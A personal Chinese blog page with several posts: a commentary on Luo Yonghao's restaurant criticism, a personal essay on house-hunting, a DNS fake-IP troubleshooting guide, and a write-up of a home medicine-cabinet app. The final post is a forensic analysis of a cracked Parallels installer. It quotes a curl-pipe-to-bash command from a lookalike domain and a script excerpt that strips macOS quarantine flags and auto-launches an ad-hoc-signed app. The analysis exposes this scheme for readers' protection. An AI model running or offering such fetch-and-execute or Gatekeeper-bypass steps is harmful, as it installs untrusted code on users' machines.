zhangwenqiang's blog

罗永浩把名字咽了回去：一句「难吃」的当量

2026-09-20T14:30:00.000Z

2026 年 9 月 20 日晚上 8 点 14 分，罗永浩发了一条微博。
这条微博的重点不在他说了什么，在他没说什么。
本文事实部分均可查证，来源列在文末。传闻与未经证实的部分单独标出，不与实锤混写。

一、今晚这条微博

原文：

出差和团队一起在深圳赶一个项目，夜里加班点外卖，点到一家在福田区就有两家分店的港式茶餐厅（大众点评两千多条评论分别打了 4.6 和 4.3；2026 年必点榜上榜餐厅），结果送过来六份外卖，竟然三份都有异味臭味。这家茶餐厅的名字是……嗯，好吧，都不容易。
另外，中洲湾的椿庐川菜很不错。

六份外卖三份有异味，这是个相当硬的客观事实，比「不好吃」严重得多。换成十年前的罗永浩，这条微博会有名字、有照片、有电话录音，可能还会有一份律师函。

今晚没有。名字被他自己咽了回去，然后顺手夸了一家别的餐厅。

这条微博发出后的战绩是：20 转发，136 评论，379 点赞。 对一个 500 万粉丝的账号来说，这是一条死帖。

我觉得这条死帖，比他今年所有上过热搜的发言加起来都值得看。

二、先把三件事分开

最近大家把三件事混在一起说，说他「越来越爱挑事」。但这三件事的性质差得很远：

时间	对象	点名了吗	说的是什么
2025-09-10	西贝	点了	实质指控：几乎全是预制菜、还那么贵。后续悬赏十万征集线索
2026-09-12	野人先生	点了	纯主观：很一般，考虑到价格甚至可以说难吃
2026-09-20	某港式茶餐厅	没点	客观事实（六份外卖三份有异味）+ 主动放弃指认

顺序是：点名加实锤 → 点名不实锤 → 实锤不点名。

所以「他在升级挑事」这个判断，方向正好反了。他在往回收。

顺便说一件被大面积误传的事。9 月 12 日那条关于冰淇淋的微博，原文是这样的：

在机场试了一下，暴得大名的野人先生很一般啊，考虑到价格，甚至可以说难吃。它是怎么火起来的？【善意提示：这是一个消费者的正常评价和疑问，请千万不要惹我，然后说我下黑手之类的】 感觉比钟薛高难吃多了，怀念钟薛高。

方括号里那句，是怕被扣帽子而提前自辩。它被媒体摘出来做成了标题：

「甚至可以说难吃」！罗永浩吐槽一知名品牌，放话称：千万不要惹我！

同一句话，从「求你们别冤枉我」被剪成了「你们别惹我」。一个瑟缩的括号，变成了一句黑社会台词。

他为此连发了五条微博骂「无良媒体生造的流氓热搜词」。骂得有道理，也没有用——热搜词条已经跑完了它的生命周期，辟谣是追不上的。

三、他四天前就认过怂了

9 月 16 日，也就是冰淇淋风波最盛的那天，他写了两句话。这两句几乎没人转，但它们是理解今晚那条微博的钥匙：

这次我甚至没有批评一个品牌真有什么问题，只说了我个人觉得不好吃，都给公关部同事们惹了这么多麻烦，以后我不会再批评国产品牌了。

以及：

嗯，以后要么不说，要说就只说好吃的，至于不好吃的……「不存在的」。

四天后，六份外卖里三份是臭的，他真的没说名字。

所以今晚那条不是挑事，是履约。而且是一次不太体面的履约——他做到了不点名，但忍不住要让所有人知道他忍住了。那句「嗯，好吧，都不容易」，既是对餐厅的手下留情，也是对自己的一声叹气。

四、他一直是这样的人，而且以前更狠

「他是不是变了」这个问题，答案很干脆：没变。

2011 年 9 月，他家的西门子冰箱门关不严，投诉无果。
11 月 20 日，他带着一批消费者，在西门子中国总部门口砸了三台冰箱。
12 月 4 日，西门子家电中国总裁罗兰·盖尔克录视频公开致歉。
12 月 20 日，他在海淀剧场又砸了一次。

这个当量，比今天任何一次都大。当年舆论几乎一边倒地叫好，「非理性维权」的批评有，但淹没在掌声里。

再往前往后数：骂俞敏洪是「铁公鸡」、跟方舟子对撕、和王自如在直播里当面对质、2025 年 11 月给华与华的华杉下最后通牒要求当天下午六点前公开道歉——行为模式三十年一致。

甚至连「预制菜」这个由头都不是新的。2024 年 11 月，比西贝早整整一年，他就在直播间喊过：餐厅卖预制菜不标注，本质就是欺骗。

西贝不是一个新的开始。西贝是一个旧主张，撞上了一个新当量。

五、变的是当量

2011 年砸冰箱的罗永浩，是一个有几十万粉丝的前英语老师，对面是一家跨国巨头。那是弱者维权，叫好是自然的。

2026 年的罗永浩，微博 500 万粉，播客平均每期一千万播放。他随口一句「难吃」的下游是什么样子，西贝已经替所有人测过了：

门店从巅峰近 400 家缩到 203 家，关掉 102 家，涉及约 4000 名员工；
2025 年 11 月单月营收 2.65 亿，不到上年同期一半；
2025 年 9 月到 2026 年 3 月，累计亏损超过 6 亿；
估值从预期的 200 亿掉到 10 亿出头，筹备中的 IPO 折戟。

这不是「批评」的量级。这是处决的量级。

同一个动作——一个消费者公开说某家店不好——在 2011 年是维权，在 2026 年是定点清除。动作没变，当量变了，于是性质自动改变了。

这是我觉得这件事里最要紧的一句话：不是他从维权者变成了霸凌者，是同一个动作在不同当量下会自动变成另一个动作。当事人往往是最后一个知道的，因为他照镜子时看见的还是那个砸冰箱的人。

野人先生那次，围观者的反应已经很说明问题了。品牌方全程一声不吭，评论区却挤满了刷「不要回答」的网友——大家在替一家一千七百多家店的公司捂嘴，生怕它一开口就重演西贝。热搜上挂着一句话：「一句难吃不该引发一个企业灭顶之灾。」

而这家被劝着别说话的公司，在那四天里涨了四十万粉。荒诞得很工整。

六、那把锁

罗永浩这辈子赚的所有钱，本质上都来自同一样东西：「这个人不糊弄你」这个判断。

新东方的段子、牛博网、砸冰箱、锤子发布会、直播间里那句「不赚钱，交个朋友」、现在一期一千万播放且首日盈利的播客、年底的年度科技大会——他卖的从来不是货，是可信度。

可信度这门生意有个结构性的毛病：夸是不产生可信度的，只有骂才产生。

你说一百句「这个真好」，市场只会当你收了钱。你说一句「这个不行」，可信度账户才进账。所以一个靠可信度吃饭的人，必须定期骂点什么——这不是性格缺陷，这是商业模式的刚性开支。

问题在于，他的当量已经涨到了这笔开支付不起的地步。

于是锁就合上了：

说，就是滥用权力；不说，人设就死。

9 月 16 日那句「以后不再批评国产品牌」，是他自己撞上了这堵墙。今晚那句「名字是……嗯，好吧」，是撞墙之后的产物。

一个靠「敢说」定价的人，一旦到了说什么都会致命的量级，「敢说」这件事本身就失效了。它不再是勇敢，它变成了行刑。

七、9 月 20 日这一天

今晚那条茶餐厅微博之所以耐看，是因为它不是孤立发生的。同一天还有两件事。

第一件（传闻，未经证实）：有大 V 发文称西贝已经起诉罗永浩、即将开庭，并指控他「跑出来操控舆论给法院施压」。截至我写完这篇，西贝官方未作确认，也未见公开的立案信息。这一条请当传闻看。

第二件（已确认）：交个朋友直播间卖的一款 89.9 元「溜溜凳」，被消费者拆开后发现内部用的是发霉木板和来源不明的废旧海绵，还有持续的异味。商品全面下架。涉事供应商是一家 2026 年 6 月成立、注册资本 10 万元的公司。

请把这两件事和今晚那条微博并排放一下：

在一个「被指控滥用舆论」和「自己带货的东西被拆出霉木头」同时发生的晚上，他发了一条关于餐饮有异味、但拒绝说出名字的微博。

这条微博的收益是什么？把自己重新放回「普通消费者」这个位置上。成本是什么？几乎为零——因为他没点名。

我不认为这是精心设计的。一条只有 379 个赞的微博不可能是为流量发的；真要炒作，今晚一定会点名。它更像是一次本能的姿态存档：我还是那个说真话的人，只是我现在不敢说全了。

顺带一提，截至我写完这篇，他的微博对溜溜凳一个字都没提。

八、按钮

写到这里，我想说的其实不是罗永浩的人品。

他的出发点，我倾向于认为是真诚的。他对「信息不对称下的商业欺骗」的愤怒，有二十年可追溯的一致记录，不是临时找的由头。麻烦的地方在于——这种愤怒恰好是他最赚钱的表达方式。真诚和利益在他身上是重合的，所以永远说不清哪个在前面。

他的处境也不像外人想的那么风光。总债务约 13 亿，已还近 10 亿，剩下的 6 亿国资本金里有 3 亿是当年投资亏掉的钱——法律上根本不用还，他自愿还。他在那家上市的直播公司里没有股权，人家上半年赚的 8600 万跟他没关系。他押上身家的 AI 硬件公司烧掉 5000 万美元，AR 项目停摆，硬件团队解散，三年没跑通商业化。他今年 56 岁，正在用播客和年度大会搭一个新的身份——而这个新身份同样只能用可信度来支付。

但真正值得记下来的不是这些。是这个：

一个人的一句主观评价，可以让一家四百家店的公司半年亏掉 6 亿。

这件事本身，是市场结构和舆论机制的问题，不是某个人的品德问题。那个按钮就摆在那里，威力大到不成比例，只是恰好由他站在前面。换一个人站上去，按下去的效果一模一样。

我们现在的公共讨论有个坏习惯：一件事出了问题，先找一个人来承担全部解释。骂罗永浩比理解「为什么一句话能有这么大当量」要省力得多，也让人舒服得多。

最后

一个靠「我说真话」活了三十年的人，今晚当众把一个名字咽了回去。

这大概是他这些年做过的最成熟的一件事。

也是最让人不是滋味的一件事——因为他咽回去的那个名字背后，是六份外卖里真的有三份是臭的。那家店的其他客人，永远不会知道。

事实来源

罗永浩微博原帖（2026-09-12、09-16、09-20）：@罗永浩的十字路口
西贝经营数据与关店情况：西贝「倒闭」冲上热搜，资本梦碎了
诉讼传闻（未经证实）：博主曝西贝已起诉罗永浩，「就要开庭了」
溜溜凳事件：交个朋友直播间售问题溜溜凳：内部用发霉木板现已全面下架
野人先生涨粉数据：遭罗永浩吐槽冰淇淋难吃野人先生近 30 天涨粉 41 万
2011 年砸冰箱事件：11·20 罗永浩砸冰箱维权事件
与华与华的冲突：这一次，华与华老板没有向罗永浩服软
微博禁言：罗永浩、贾国龙账号双双被禁言，微博 CEO 回应
债务进展：罗永浩万字长文披露「真还传」进展：还有 6 亿元国资债务待还
上市公司业绩：交个朋友控股 2026 年中期业绩公告
AI 公司现状：细红线科技解散全部硬件团队，All in AI 产品突围海外

他只会说「可以」

2026-09-16T14:00:00.000Z

我有个高中同学，这段时间在看房子。

上周他跟我讲了一件事。那天看完最后一套，两个人骑小电驴回家，他对象坐在后座，问了他一句：

「看了这么多，你有没有哪套是喜欢的？」

他想了很久，没答上来。

不是敷衍。是他在那几秒钟里发现，自己好像没有「喜欢」这个东西。

「可以」和「喜欢」

他后来跟我复述当时的感受，用的是这么一句话：

我只有可以，或者不可以。说不清楚。就是觉得这房子能住，或者我不想在这屋里住。

这句话我听了之后想了两天。

「可以」和「喜欢」看起来是同一件事的不同说法，其实不是。

「可以」是一个判断：这房子满不满足条件——面积够不够、通勤远不远、采光行不行、价格能不能接受。它是一道题，有答案，答完就结束了。

「喜欢」是一个愿望：我想住在这里。它不解决任何问题，它只暴露你想要什么。

一个只有「可以/不可以」的人，不是没主意。恰恰相反，他的判断可能非常准、非常快。他只是把「我想要」这一层，整个跳过去了。

哲学家法兰克福讲过一个区分：人不只有欲望，人还有对欲望的欲望——你想要某样东西，同时你还认同”我想要它”这件事本身。他觉得那才是一个人之所以是人的地方。

按这个说法，我这个同学缺的不是主意，是认领主意的那一步。

至于这个能力是怎么弄丢的，他没说，我也没问。但一般来说，一个人长期处在”说了也不算”的位置上，最省力的做法就是不再生成偏好——你不想要，就不会失望。这笔账很划算，代价是很多年以后，有人在小电驴后座问你喜不喜欢，你答不上来。

那个没人用的网站

这里要倒回去讲另一件事。

他们最开始定的原则很公平：按两个人公司的位置，找一个通勤都能接受的小区。

为了这件事，他动手做了个东西——把候选小区全部拉进来，算两个人各自的通勤时间、换乘次数、早晚高峰的差异，做成一个能点开看的网页。花了不少工夫。

然后这个东西一次也没用上。

最后定下来的方案是：在他们现在住的小区附近找。离他的公司近，离她的公司远。

他跟我说这件事的时候，顺口带了一句：

之前一直是这样的。

他说得很平静，像在陈述天气。

我觉得这句才是整件事里最响的一声。

一个早就定死的结论，为什么还要做一个网站？

因为当一个人没有「喜欢」的时候，他只剩下「优化」。

喜欢是没法计算的。你说不清为什么就是想住在那个有飘窗的屋子里。但通勤时间可以算，换乘次数可以算，价格可以算——所有能算的东西，都在替那个算不出来的东西站岗。

做那个网站的时候他大概是真诚的。他想公平，想把她的通勤也放进天平。只是他能拿出来的公平，是一张表。

而表格给不出答案。表格只能告诉你哪个方案更优，给不出”我想住在这儿”。所以算完了，也就搁下了，最后还是回到那个不需要计算的默认值上——离他近。

心理学里有个说法叫”决策后合理化”：人往往先做决定，再去找理由。我觉得这件事还要更前一步——那个网站不是用来做决定的，是用来让一个早就做完的决定，看起来像是刚做的。

「都听你的」

第三件事。

看房看到中间，他忽然跟她说：这事我不管了，你去看吧，你满意就行，你定了我没意见。

他跟我说，他自己也记不清当时是什么心态。

接下来那一周，她一个人跑了很多套。他不知道具体多少，因为他没问。她挑出几套发给他，他没说行，也没说不行。

他的原话是：「表面上我说的是什么都听她的。」

「表面上」这三个字是他自己加的。 他知道那不是全部。

「都听你的」是一句很好用的话。它听起来像让步，像尊重，像把最大的自由交给对方。

但一个决定里有三样东西：选择权、劳动、和后果。

「都听你的」只交出了第一样，同时把后面两样一起推了过去。从那天起，跑盘的是她，砍价的是她，记哪套朝南哪套隔音差的是她。更重要的是——如果将来住得不舒服，那是她选的。

他什么都没做错。他只是从一件两个人的事情里，安静地退到了岸上。

然后他站在岸上，开始给水里的人打分。

牌桌上，谁是职业的

回到最后这天。

那天又看了两套，一套贵了，一套他觉得也就那样。真正让她动心的是前一天的那套，可惜有租客——本来那租客要搬了，临时又续了一个月。

她着急了。她怕再拖下去就没有好房子了。距离现在这套房到期，只剩二十天。

在那种着急里，她还没定下房子，就先问了中介费多少。

他在旁边听着，心里很不舒服。

他有一套关于看房的理论，跟我讲得很清楚：这是博弈。 买方、卖方、中介，各有各的底牌，像打牌一样，什么时候出什么牌有讲究。你还没定下来，就急着问佣金，等于提前亮牌。

他对她那一问的解读是：她在表现。 在向中介传递一个信号——“我也是内行，我知道中介费是能谈的”。

他觉得这个时候讲这个太早了，完全没必要。

然后他由这一句，联想起她以前的很多话。

他跟我说到这儿，用了一个词。

那个词我不写了。我只说它是什么性质的词：它不是用来形容一次失误的，它是用来形容一个人的——而且是形容一个站在台上的人。

这里有一个他没提、但摆在明面上的事实：

她做过中介。他没有。

那张牌桌上，唯一的职业选手是她。而那套”什么时候出什么牌”的理论，是他的——一个从没坐上过那张桌子的人。

所以那句”太早了”到底成不成立，其实是两说的。提前把佣金摊开谈，在这行里也可以是另一种打法：趁自己还没爱上这套房子的时候，先把钱的事定死。 等你喜欢得不行了再谈价，那才是真的没有牌。

至于”表现”——换个角度看也未必是炫耀。一个前中介最清楚中介是怎么打量客户的。 进门先亮一句”我懂行”，可能不是想让人高看，是不想被当成生手拿捏。那不是舞台，那是护甲。

这两种读法我都不敢说哪个对。我只想指出一件事：他选了对自己最不利的那个读法，还毫不费力。

更值得看的是那句”联想起她以前的很多话”。

一个当下的举动，瞬间调出了一整摞旧账。这不太像评估，更像归档——你心里已经给一个人建好了文件夹，之后发生的任何事，都只是往里面再放一张纸。

人一旦建好了那个文件夹，就不太看得见对面那个人了，只看得见文件夹。

一个说不出想要什么的人，在看一个把想要写在脸上的人

我把前面这些摆在一起看，才觉出那一刻真正难受的地方在哪儿。

那天在场的两个人：

一个想要一套房子，而且藏不住。她着急，她怕好房子没了，她在中介面前使劲，方式不一定高明，姿势可能确实不好看。但她的每一个动作都在说同一件事——我想要。

另一个两周没管过这件事，坐在旁边看，心里给她的表现打分，打出一个很重的词。

而这个打分的人，在同一天的回家路上，被问到”你有没有喜欢的”，一个字都答不出来。

他看不下去的，也许不是她笨。是她想要得那么明显。

一个把”我想要”这件事收起来收了很多年的人，看见有人当众把它摊开、还摊得不够漂亮，会本能地觉得难堪。那种难堪很容易被翻译成”她好蠢”。

但它更可能是：她做的，恰好是他早就不会做的事。

我没有结论

他们大概很快就会定下来一套房子。以他们现在的分工看，多半是她定的。他会说”可以”。

那套房子可能会很好。他也会在里面住上几年。

只是不会有人知道，那到底是不是他想要的。

包括他自己。

写完我又想了想，其实这事没什么可责备的。

「可以」是一个很安全的词。它不会错——你没说想要，就没有得不到；你没有选，就不会选错；你站在岸上，就不会湿。一个人能把自己活得这么周全，说明他曾经在某个地方，为”我想要”付出过代价。

只是这个周全有一个漏洞：到最后，没有人知道你要什么，你自己也忘了。

然后某一天，有人在小电驴后座上问你一句，你张了张嘴，发现真的答不上来。

开着代理的时候，你电脑上查到的 DNS 是假的

2026-09-16T09:00:00.000Z

给一个新域名配好解析，隔了十分钟，在终端里查：

1 2	dig +short example.com 198.18.15.123

不对。那不是我配的地址。

于是开始怀疑人生：DNS 没生效？配置写错了？服务商抽风？——挨个查了一遍，全都没问题。

问题出在发出这条查询的那台电脑身上。

198.18 是个什么地址

先说结论：198.18.0.0/15 这个网段，在公网上是不存在的。

它被 RFC 2544 保留用作网络设备的性能测试，不会被分配给任何真实服务。所以当你查一个域名，得到的是 198.18.x.x，那它一定不是真实答案。

这个网段被 Clash、sing-box 这类代理工具拿去做了一件事，叫 fake-IP。

fake-IP 在做什么

代理工具需要知道你要访问哪个域名才能做规则分流——“这个域名走直连，那个走代理”。但应用程序发起连接时，握在手里的是一个 IP，域名早在 DNS 那一步就被丢掉了。

fake-IP 的解法很巧妙：接管 DNS，对每个域名现编一个假 IP 返回给你，同时在内部记下「这个假 IP 对应哪个域名」。

等你的程序拿着这个假 IP 去建连接时，代理在网络层拦下来，一查表就知道你真正想访问的是谁，然后按规则决定怎么走。

域名信息因此被完整地保留到了最后一刻。设计上很漂亮。

副作用是：你的电脑从此失去了如实回答 DNS 问题的能力。

三个会骗到你的细节

一、指定权威服务器也没用。

1 2	dig @8.8.8.8 example.com # 照样是假的 dig @ns1.provider.com example.com # 还是假的

因为拦截发生在网络层（TUN 模式），不是改了系统的 DNS 配置。你的查询包根本没离开这台机器。

二、TTL = 1 是个信号。

1	example.com. 1 IN A 198.18.15.123

真实的 DNS 记录 TTL 通常是几百到几千秒。1 秒是假 IP 的典型特征——代理要保证映射随时可以改。看到这个数字就该警觉。

三、拿假 IP 去 curl，居然是通的。

这条最阴险。

1 2	curl -H "Host: example.com" http://198.18.15.123/ # 正常返回了页面

因为代理会把这个假 IP 映射回域名再帮你转发出去。于是你”验证”了一遍，结论是”解析正常”——而你验证的整个链路都在代理内部。

同理，curl 直接访问域名时加上 -w '%{remote_ip}'，你会看到：

1	remote_ip = 127.0.0.1

它在提示你：这次连接的对端是本机的代理端口，不是远方的服务器。

那怎么查到真的

查 DNS：走 DoH。

DNS-over-HTTPS 是普通的 HTTPS 请求，走的是代理的转发通道而不是 DNS 拦截通道，拿回来的是货真价实的答案：

1
2
3

curl -s "https://dns.google/resolve?name=example.com&type=A"
curl -s -H "accept: application/dns-json" \
     "https://1.1.1.1/dns-query?name=example.com&type=A"

返回的 JSON 里，"Status": 0 是正常，"Status": 3 是域名不存在。Answer 数组里才是真实记录。

查网站可达性：找一台别人的服务器帮你看。

本机已经没救了——就算加 --noproxy '*'，TUN 模式照样在网络层拦截。所以要换个视角，让一台不在你网络里的机器去访问：

1	curl -s "https://r.jina.ai/https://example.com/" \| head -c 200

它会从自己的服务器抓取页面并返回内容。你看到的就是外部用户看到的。

查域名状态：问注册局。

1	whois -h whois.verisign-grs.com example.com

注册商那一段的信息可能滞后，注册局（.com 是 Verisign）才是权威。

一句话

在开着代理的机器上，dig 和 curl 不是在告诉你外面的世界是什么样，而是在告诉你代理希望你看到什么样。

这不是 bug，是 fake-IP 的设计本意。只是当你正好在排查网络问题时，这份善意的谎言会把你带得很远。

所以判断一件事”到底成没成”，最好换一双不在你局域网里的眼睛。

给全家做了个药箱管家：Go 单文件塞进路由器，拍张照就能录入

2026-09-16T07:30:00.000Z

家里药箱翻出来一堆过期药，想找退烧药的时候又翻不到。市面上的 App 要么要注册要上云，要么把全家的用药数据传给不知道谁——干脆自己写一个。

最后的成品是一个 Go 单文件 Web 应用，编译出来一个可执行文件，直接塞进家里的 OpenWrt 路由器常驻运行。录入一盒药最快只要拍张照。

这篇记录完整的技术选型和踩过的坑。代码已开源：zhangwenqiang0214/medbox

一、约束先行：为什么是”单文件塞路由器”

先定运行环境，再定技术栈——这个顺序很重要。

我不想为了一个药箱应用专门开一台机器。家里 24 小时不关的只有路由器，所以目标很明确：跑在 OpenWrt 上。

但路由器的资源是真紧张。我那台 RAX3000M 上已经背着 OpenClash、softflowd、Grafana 一堆东西，内存本来就不宽裕，overlay 分区也就那么点。这直接砍掉了一堆选项：

❌ Docker —— 路由器上根本不现实
❌ Node/Python —— 拖一整个运行时进去，overlay 放不下
❌ 任何需要单独装数据库的方案

剩下的答案只有一个：编译成一个静态可执行文件，扔进去就能跑。Go 天生适合干这个。

于是整个项目最后就是 main.go 一个文件 + 三个前端静态文件。没有 node_modules，没有构建流水线，没有框架。

二、坑 1：SQLite 的 CGO 之痛

要存数据，SQLite 是最自然的选择——单文件数据库，跟”单文件应用”的气质完全一致。

Go 里用 SQLite，第一反应是 mattn/go-sqlite3。装上、本地跑通，一切正常。直到我要交叉编译到路由器：

1	GOOS=linux GOARCH=arm64 go build -o medbox-arm64 .

炸了。

原因是 mattn/go-sqlite3 是对 C 版 SQLite 的绑定，依赖 CGO。而一旦开了 CGO，交叉编译就不再是改个环境变量的事——你得给目标架构准备一整套 C 交叉编译工具链。为了一个药箱应用去折腾 ARM64 的 gcc 工具链，属实不值。

解法是换成 modernc.org/sqlite：

1	require modernc.org/sqlite v1.34.5

这个库把 SQLite 的 C 代码机器翻译成了纯 Go。没有 CGO，没有 C 编译器，交叉编译回归到最朴素的形态：

1	GOOS=linux GOARCH=arm64 go build -o deploy/medbox-arm64 .

一条命令出货。换 mipsle 给老路由器也是改个字母的事。

代价：纯 Go 的 SQLite 性能比 C 版差一截，二进制也胖（15MB 左右）。但对一个家庭药箱——几百条记录、个位数并发——这点性能差异完全感知不到。在这个场景下，可移植性的价值远高于性能。

三、go:embed：把前端塞进二进制

前端是原生 HTML/CSS/JS，没上框架。用 go:embed 直接内嵌：

1 2	//go:embed web var webFS embed.FS

这样最终产物真的就是一个文件。部署 = scp 一个文件过去。不用传前端资源，不用配 nginx，不用担心静态文件路径。

同时留了个后门参数，方便本地调前端时不用反复编译：

1	go run . -web ./web # 留空则用内嵌资源

四、坑 2：药品有效期，包装上根本没有”日”

写过期提醒的时候才发现一个现实问题：药盒上印的有效期，绝大多数只到月份。

有效期至 2026 年 03 月

没有具体哪一天。那 2026-03 到底算哪天过期？3 月 1 日还是 3 月 31 日？

差着 30 天，而这是药，宁可保守：

1 2	// 统一按「当月第 1 天 0 点」计算（有效期到月，进入该月即视为过期，偏保守） return time.Date(y, time.Month(m), 1, 0, 0, 0, 0, time.Local), true

一进入该月就标记过期。 宁可提前一个月提醒你扔掉，也不要让人在最后一天吃下可能已经失效的药。

这类”业务上偏保守”的决策，在健康相关的应用里我觉得比技术选型更重要。

五、坑 3：药箱里不只有药

录入到一半发现，药箱里一大半东西根本不是药：体温计、血压计、创可贴、棉签、口罩、纱布。

这些东西的过期逻辑完全不同：

体温计、血压计 —— 能反复用，压根不该算”过期”，也不该算”库存还剩几个”
创可贴、棉签 —— 一次性，用一个少一个，要计数
药品 —— 既要算过期，也要算库存

最后建了个二维模型：item_type（药品/器械）× reusable（可复用/一次性）。可复用器械直接短路掉过期计算：

1
2
3

if m.ItemType == "器械" && m.Reusable == "可复用" {
    m.Status, m.DaysLeft, m.Durable = "ok", 0, true
}

顺带一提，这个字段是后加的——数据库里已经有几十条记录了。所以写了个 migrateV2：重建带 CHECK 约束的新表，旧数据边拷贝边纠正，跑一次就完事。自己用的小项目也别图省事直接改表，数据丢了没地方哭。

六、AI 部分：让录入这件事别那么烦

手动录一盒药要填十几个字段：药名、规格、剂型、适应症、用法用量、有效期、批准文号…… 录三盒就放弃了。录入成本是这类应用的头号杀手。

所以接了 DeepSeek，做了四种录入方式：

方式	交互
📷 拍照	拍药盒，视觉模型逐字识别，自动填好所有字段
💬 一句话	「布洛芬两盒明年3月过期」→ 解析 + 常识补全
🔤 药名	只输药名和有效期，模型补全剂型/适应症/分类
✍️ 手动	兜底，什么都不依赖

防幻觉：把”不要编造”写死进 prompt

视觉识别最大的风险是模型自作聪明。你拍一张模糊的药盒，它能给你编出一个看起来特别合理的批准文号。

这在别的场景可能只是错，在用药场景是危险。所以 prompt 里把约束写得非常死：

请【逐字识别】包装上印刷的文字，据实提取信息，只输出一个 JSON 对象。看不清或包装上没有的字段留空字符串，【绝对不要编造】。

并且给每个字段都写死了枚举和格式要求，比如：

is_rx（是否处方药）：包装印「OTC/甲类/乙类非处方」→ 否；印「凭医师处方购买使用」→ 是
expiry_date：只输出 YYYY-MM；若包装只印生产日期 + 「有效期24个月」，据此推算

给模型留的自由度越小，幻觉越少。

对症分诊：只推荐你家里真有的药

这个功能我自己用得最多：描述症状，它从当前库存里挑药。

关键在于把药箱库存注入上下文，并且限定它只能在库存里选：

【家里可用】：从药箱里挑出对症的药，指名道姓写清楚吃哪个、每次多少、一天几次、饭前后等；若该药已过期或临近过期要提醒。若服药人是儿童，务必按其年龄/体重折算儿童剂量而不是成人量；老人适当减量提醒。

儿童剂量那句是特意加的。成人量给孩子吃是真会出事的，而模型默认给的基本都是成人量。

另外还有个「药箱体检」，自动分析成分冲突（比如两种药都含对乙酰氨基酚，叠着吃会过量）和品类缺口（家里缺哪类常备药）。这个结果扔进 ai_cache 表缓存，不然每次打开页面都烧一遍 token。

七、几个小设计

API Key 的掩码往返。 设置页要能改 Key，但不能把 Key 明文吐给前端。做法是 GET 时替换成哨兵值，POST 时看到哨兵值就跳过不覆盖：

// GET：不回传原文
if m["deepseek_api_key"] != "" {
    m["deepseek_api_key"] = "__SET__"
}
delete(m, "access_pin")  // 访问密码从不下发

// POST：哨兵值 = 用户没改，跳过
if k == "deepseek_api_key" && v == "__SET__" {
    continue
}

简单，但比”前端存一份明文再传回来”干净得多。

部署脚本带自检。 一条命令：建目录 → 传二进制 → 装 init.d 服务 → 开机自启 → curl 健康检查。最后一步很关键，不然你永远不知道服务到底起没起来——退出码 0 不等于服务活着，这个教训我在别的项目上吃过。

八、开源前的脱敏：扫出来的东西比想象中多

准备开源的时候顺手做了一遍敏感信息扫描，结果有点意外：

发现	位置
🔴 DeepSeek API Key 明文硬编码	`main.go` 默认设置块
🟠 家人的真实昵称当默认成员	`main.go` + 前端 `app.js` 三处
⚫ 编译好的二进制里面焊着旧 Key	`deploy/`

第二条特别典型：我以为改掉后端默认值就完事了，结果一复扫，前端 app.js 里还硬编码了一份当 fallback，连输入框的 placeholder 都写着家人的名字。

教训是：脱敏不能只改你记得的那一处，必须全仓 grep 到零命中为止。而且要在 git add 之后、push 之前，再扫一遍 git diff --cached 的实际内容——因为最终进仓库的是暂存区，不是你的工作目录。

那个编译产物更阴险：二进制是 Key 被抹掉之前编译的，Key 就焊在里面。直接 .gitignore 排除掉，仓库只留源码。

尾巴

整个项目大概断断续续折腾了几个晚上。现在家里人手机上存个书签，进门连上 WiFi 就能查”家里还有没有退烧药”、”这盒药过期没”。

数据全部躺在自家路由器的 SQLite 文件里，不上云，不遥测，不注册。

代码在这：github.com/zhangwenqiang0214/medbox，MIT 协议，随便拿去改。

⚠️ 免责声明：本项目的 AI 用药建议仅供参考，不构成医疗意见，不能替代执业医师、药师的专业判断。用药前请阅读说明书，身体不适请及时就医。

闲鱼 120 元买的「Parallels 企业版授权」，拆开发现是破解版

2026-09-15T03:30:00.000Z

在闲鱼上花 120 元买了一份 Parallels Desktop「企业版授权」，卖家给了激活码，装完能用，还能小版本升级。直到杀毒软件报毒，才顺手查了一下——结果整条链拆下来，是个彻头彻尾的破解包。

这篇记录完整的取证过程和证据链。

起因

闲鱼上卖 Parallels 授权大致分两种：

明说是破解版，价格极低，直接甩给你一个破解包下载链接
号称「企业版 / 集中授权」，价格稍高，给你一个激活码，看起来像正经买卖

我买的是第二种，120 元。安装方式是卖家给的一行命令：

1	curl -fsSL https://download.parallels.zip/install.sh \| bash

域名里有 parallels，看着像官方。装完输入激活码，激活成功，用了两个月，中间还成功升级过小版本。

直到小红伞（Avira）弹了报毒。

疑点一：签名对不上

先看那个被报毒的文件本身。

$ codesign -dvvv Installer.app
Identifier=com.parallels.pdcert
CodeDirectory v=20400 flags=0x2(adhoc)
Signature=adhoc
TeamIdentifier=not set

$ spctl -a -vvv -t exec Installer.app
Installer.app: rejected

任何在 macOS 上正常分发的商业软件，都必须用 Developer ID 签名并经过苹果公证，否则用户双击根本打不开。adhoc 签名 = 这个程序被改过。

顺手看了下已安装的 Parallels 本体，同样是 adhoc：

1
2
3

$ codesign -dv /Applications/Parallels\ Desktop.app
Signature=adhoc
TeamIdentifier=not set

疑点二：那个安装脚本

把脚本拉下来看（只读不执行）：

ZIP_SRC_URLS=(
    "https://download.parallels.zip/Installer.zip"
    "https://cert.parallels.zip/Installer.zip"
    "https://cdn.parallels.zip/Installer.zip"
)
...
unzip -o "${APP_SRC_PATH}" -d "${TARGET_DIR}"
rm "${APP_SRC_PATH}"
xattr -cr "${APP_DST_PATH}"          # ← 关键
chflags nohidden "${APP_DST_PATH}"
open -R "${APP_DST_PATH}"
open -a "${APP_DST_PATH}"

xattr -cr 是整个脚本存在的理由。

macOS 会给所有从网上下载的文件打上 com.apple.quarantine 隔离标记，双击时 Gatekeeper 据此验证签名与公证。这个 app 是 adhoc 签名，带着标记必然被拦。剥掉标记，检查就不做了。

正规软件永远不需要剥自己的隔离属性——它签名公证齐全，Gatekeeper 本来就放行。写下这一行，等于承认「我过不了苹果的检查」。

脚本里还有几处设计值得一提：

手法	目的
三个镜像 + 测速	抗封禁
转圈动画 / 进度条 / 优雅报错	伪装成正规安装器
解压后 `rm` 掉原始 zip	减少残留证据
失败时 `rm -fr` 整个目录	失败不留痕
`open -a` 自动运行	不给检查窗口

写这个脚本的人很清楚：只要你信了域名、看着动画等几秒、app 自己弹出来，你就不会再去验签名了。

顺带验证了一下是否按 User-Agent 差异化投放（给研究员返回无害脚本、给真实用户返回载荷是常见手法）：

1
2
3

curl UA    : a4b2f2bb07fdf6013456d6ea680233b7 (2978 B)
browser UA : a4b2f2bb07fdf6013456d6ea680233b7 (2978 B)
→ 内容一致，无差异化投放

这是本次唯一一条对它有利的证据：脚本对所有人都一样，不是定向攻击。

关于 `parallels.zip`

	parallels.com	parallels.zip
注册人	Parallels International GmbH	无组织信息
